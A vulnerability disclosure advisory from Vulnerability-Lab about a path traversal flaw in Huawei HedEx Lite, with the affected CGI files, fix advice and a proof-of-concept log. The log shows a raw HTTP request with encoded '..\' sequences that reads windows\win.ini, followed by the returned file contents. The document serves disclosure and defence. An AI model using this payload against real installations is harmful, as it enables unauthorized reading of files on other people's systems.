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# Exploit Title: Huawei HedEx Lite 200R006C00SPC005 - Path Traversal # Date: 2020-11-24 # Exploit Author: Vulnerability-Lab # Vendor Homepage: https://www.huawei.com/ # Software Link: https://support.huawei.com/carrier/docview!docview?nid=SCL1000005027&path=PAN-ET/PAN-T/PAN-T-HedEx # Version: 200R006C00SPC005 Document Title: =============== Huawei HedEx Lite (DM) - Path Traversal Web Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2268 Release Date: ============= 2020-11-24 Vulnerability Laboratory ID (VL-ID): ==================================== 2268 Common Vulnerability Scoring System: ==================================== 7 Vulnerability Class: ==================== Directory- or Path-Traversal Current Estimated Price: ======================== 3.000€ - 4.000€ Product & Service Introduction: =============================== https://support.huawei.com/carrier/docview!docview?nid=SCL1000005027&path=PAN-ET/PAN-T/PAN-T-HedEx Abstract Advisory Information: ============================== A vulnerability laboratory core team researcher discovered a path traversal vulnerability in the Huawei HedEx Lite v200R006C00SPC005. Vulnerability Disclosure Timeline: ================================== 2020-11-24: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== High Authentication Type: ==================== Restricted Authentication (User Privileges) User Interaction: ================= No User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ An exploitable path traversal vulnerability has been discovered in the official Huawei HedEx Lite v200R006C00SPC005. Attackers can able to request local files or resources by remote requesting to unauthorized change a local path. Proof of Concept (PoC): ======================= The path traversal vulnerability can be exploited by remote attackers with restricted system user privileges wihtout user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Vulnerable File(s): ./newOtherManageContent.cgi [URL Path Filename] ./newStartupHedExBeeAction.cgi [URL Path Filename] ./newprehomeadvsearch.cgi [URL Path Filename] --- PoC Session Logs [POST Method Request] --- URL: http://localhost:7890/newOtherManageContent.cgi/................................windowswin.ini Path: /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1 Host: localhost:7890 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://localhost:7890/newindex.cgi Connection: close Content-Length: 0 --- PoC Session Logs [Response] --- HTTP/1.1 200 OK Content-Disposition: attachment; filename="win.ini" Content-Length: 1801 Content-Type: application/octet-stream;charset=utf-8 X-Frame-Options: SAMEORIGIN - ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 CMCDLLNAME32=mapi32.dll CMC=1 MAPIX=1 MAPIXVER=1.0.0.1 OLEMessaging=1 [MCI Extensions.BAK] 3g2=MPEGVideo 3gp=MPEGVideo 3gp2=MPEGVideo 3gpp=MPEGVideo aac=MPEGVideo adt=MPEGVideo adts=MPEGVideo m2t=MPEGVideo m2ts=MPEGVideo m2v=MPEGVideo m4a=MPEGVideo m4v=MPEGVideo mod=MPEGVideo mov=MPEGVideo mp4=MPEGVideo mp4v=MPEGVideo mts=MPEGVideo ts=MPEGVideo tts=MPEGVideo [Drivers.32] OLEMessaging.64=$80,$5D,$D9,$A6,$A4,$18,$A8,$AD [ChannelDownmixer] p1.bIsMultichannel=0 p1.wFormatTag=1 p1.nChannels=2 p1.dwChannelMask=63 p1.wBitsPerSample=16 p1.RequiredInputBitDepth=0 p1.bRequireInputNumberOfChannels=0 p1.RequiredInputNumberOfChannels=6 p1.bRequireInputSamplerate=0 p1.RequiredInputSamplerate=48000 p1.bRaiseMeritAndSingleInstance=1 p2.InputEnableBitmask=-1 p2.OutputEnableBitmask=-1 p2.bEnableInputGains=0 p2.bEnableOutputGains=0 p2.bEnableMasterVolume=0 p2.MasterVolumeGain=100 p2.I.FL=100 p2.I.FR=100 p2.I.FC=100 p2.I.LF=100 p2.I.BL=100 p2.I.BR=100 p2.I.FLC=100 p2.I.FRC=100 p2.I.BC=100 p2.I.SL=100 p2.I.SR=100 p2.I.TC=100 p2.I.TFL=100 p2.I.TFC=100 p2.I.TFR=100 p2.I.TBL=100 p2.I.TBC=100 p2.I.TBR=100 p2.I.bJoinFLFR=1 p2.I.bJoinBLBR=1 p2.I.bJoinFLCFRC=1 p2.I.bJoinSLSR=1 p2.I.bJoinTFLTFR=1 p2.I.bJoinTBLTBR=1 p2.O.FL=100 p2.O.FR=100 p2.O.FC=100 p2.O.LF=100 p2.O.BL=100 p2.O.BR=100 p2.O.FLC=100 p2.O.FRC=100 p2.O.BC=100 p2.O.SL=100 p2.O.SR=100 p2.O.TC=100 p2.O.TFL=100 p2.O.TFC=100 p2.O.TFR=100 p2.O.TBL=100 p2.O.TBC=100 p2.O.TBR=100 p2.O.bJoinFLFR=1 p2.O.bJoinBLBR=1 p2.O.bJoinFLCFRC=1 p2.O.bJoinSLSR=1 p2.O.bJoinTFLTFR=1 p2.O.bJoinTBLTBR=1 p3.bCustomMixMatrix=0 CustomMixMatrixFilename= LastRegisteredVersion=20000 Solution - Fix & Patch: ======================= The vulnerability can be resolved by setting restricted accessable paths.A whitelist or static paths configuration can be combined. An update is available on the huawei website provided by the manufacturer of the application via customer portal. Security Risk: ============== The security risk of the path traversal web vulnerability in the download manager software is estimated as high. Credits & Authors: ================== S.AbenMassaoud [Research Team] - https://www.vulnerability-lab.com/show.php?user=S.AbenMassaoud Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. 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